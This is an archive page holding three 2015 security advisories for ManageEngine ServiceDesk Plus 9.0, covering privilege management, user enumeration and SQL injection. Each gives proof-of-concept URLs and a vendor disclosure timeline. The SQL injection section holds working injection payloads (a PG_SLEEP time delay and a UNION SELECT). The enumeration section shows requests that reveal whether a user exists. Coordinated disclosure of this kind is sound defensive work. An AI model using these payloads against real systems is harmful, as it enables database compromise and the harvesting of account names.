Archive for January, 2015

ManageEngine ServiceDesk Plus User Privileges Management Vulnerability

[REWTERZ-20140103] – Rewterz – Security Advisory

Title: ManageEngine ServiceDesk Plus User Privileges Management Vulnerability
Product: ServiceDesk Plus (http://www.manageengine.com/)
Affected Version: 9.0 (Other versions could also be affected)
Fixed Version: 9.0 Build 9031
Vulnerability Impact: Low
Advisory ID: REWTERZ-20140103
Published Date: 22-Jan-2015
Researcher: Muhammad Ahmed Siddiqui
Email: ahmed [at] rewterz.com
URL: http://www.rewterz.com/vulnerabilities/manageengine-servicedesk-plus-user-privileges-management-vulnerability

 

Product Introduction

ServiceDesk Plus is a help desk software with integrated asset and project management built on the ITIL framework. It is available in 29 different languages and is used by more than 85,000 companies, across 186 countries, to manage their IT help desk and assets.

Source: http://www.manageengine.com/products/service-desk/

 

Vulnerability Information

Class: Improper Privilege Management
Impact: Low privileged user can access application data
Remotely Exploitable: Yes
Authentication Required: Yes
User interaction required: Yes
CVE: CVE-2015-1480

 

Vulnerability Description

A user with limited privileges could gain access to certain functionality that is available only to administrative users. For example, users with Guest privileges can see the subjects of the tickets, stats and other information related to tickets.

 

Proof-of-Concept

http://127.0.0.1:8080/servlet/AJaxServlet?action=getTicketData&search=dateCrit
http://127.0.0.1:8080/swf/flashreport.swf
http://127.0.0.1:8080/reports/flash/details.jsp?group=Site
http://127.0.0.1:8080/reports/CreateReportTable.jsp?site=0

 

TimeLine

23-Dec-2014 – Notification to Vendor
24-Dec-2014 – Response from Vendor
30-Dec-2014 – Vulnerability fixed by Vendor


ManageEngine ServiceDesk Plus User Enumeration Vulnerability

[REWTERZ-20140102] – Rewterz – Security Advisory

Title: ManageEngine ServiceDesk Plus User Enumeration Vulnerability
Product: ServiceDesk Plus (http://www.manageengine.com/)
Affected Version: 9.0 (Other versions could also be affected)
Fixed Version: 9.0 Build 9031
Vulnerability Impact: Low
Advisory ID: REWTERZ-20140102
Published Date: 22-Jan-2015
Researcher: Muhammad Ahmed Siddiqui
Email: ahmed [at] rewterz.com
URL: http://www.rewterz.com/vulnerabilities/manageengine-servicedesk-plus-user-enumeration-vulnerability

 

Product Introduction

ServiceDesk Plus is a help desk software with integrated asset and project management built on the ITIL framework. It is available in 29 different languages and is used by more than 85,000 companies, across 186 countries, to manage their IT help desk and assets.

Source: http://www.manageengine.com/products/service-desk/

 

Vulnerability Information

Class: User Name Enumeration
Impact: An unauthenticated and authenticated user can enumerate users
Remotely Exploitable: Yes
Authentication Required: Yes
User interaction required: Yes
CVE Name: N/A

 

Vulnerability Description

An unauthenticated and authenticated user can enumerate all the users and domains on the system by sending a simple request to URL.

Proof-of-Concept Authenticated User

An attacker can use the following URL to enumerate users and domains by accessing the following URL:

http:// 127.0.0.1:8080/servlet/AJaxServlet?action=checkUser&search=guest

Response if User is valid:

{ USER_PRESENT: ‘true’, IN_SITE: ‘true’ }

Response if User is invalid:

{ USER_PRESENT: ‘false’, ADD_REQUESTER: ‘false’ }

 

Proof-of-Concept Unauthenticated User

An attacker can use the following URL to enumerate users and domains by accessing the following URL:

http://127.0.0.1:8080/domainServlet/AJaxDomainServlet?action=searchLocalAuthDomain&search=100101

If the user in the Search Parameter is found the response will contain the domain name in which that particular user exists.

 

Timeline

23-Dec-2014 – Notification to Vendor
24-Dec-2014 – Response from Vendor
30-Dec-2014 – Vulnerability fixed by Vendor


ManageEngine ServiceDesk SQL Injection Vulnerability

[REWTERZ-20140101] – Rewterz – Security Advisory

Title: ManageEngine ServiceDesk SQL Injection Vulnerability
Product: ServiceDesk Plus (http://www.manageengine.com/)
Affected Version: 9.0 (Other versions could also be affected)
Fixed Version: 9.0 Build 9031
Vulnerability Impact: High
Advisory ID: REWTERZ-20140101
Published Date: 22-Jan-2015
Researcher: Muhammad Ahmed Siddiqui
Email: ahmed [at] rewterz.com
URL: http://www.rewterz.com/vulnerabilities/manageengine-servicedesk-sql-injection-vulnerability

 

Product Introduction

ServiceDesk Plus is a help desk software with integrated asset and project management built on the ITIL framework. It is available in 29 different languages and is used by more than 85,000 companies, across 186 countries, to manage their IT help desk and assets.

Source: http://www.manageengine.com/products/service-desk/

 

Vulnerability Information

Class: SQL Injection Vulnerability
Impact: An Authenticated user could exploit this vulnerability to gain complete system access.
Remotely Exploitable: Yes
Authentication Required: Yes
User interaction required: Yes
CVE: CVE-2015-1479

 

Vulnerability Description

CreateReportTable.jsp page is prone to SQL injection via site variable. A user with limited privileges could exploit this vulnerability to gain complete database/system access.

 

Proof-of-Concept

Postgres DB:
http://127.0.0.1:8080/reports/CreateReportTable.jsp?site=0 AND 3133=(SELECT 3133 FROM PG_SLEEP(1))

MySQL DB:
http://127.0.0.1:8080/reports/CreateReportTable.jsp?site=0 AND UNION ALL SELECT user(),NULL,NULL,NULL,NULL

 

Timeine

23-Dec-2014 – Notification to Vendor
24-Dec-2014 – Response from Vendor
30-Dec-2014 – Vulnerability fixed by Vendor

 


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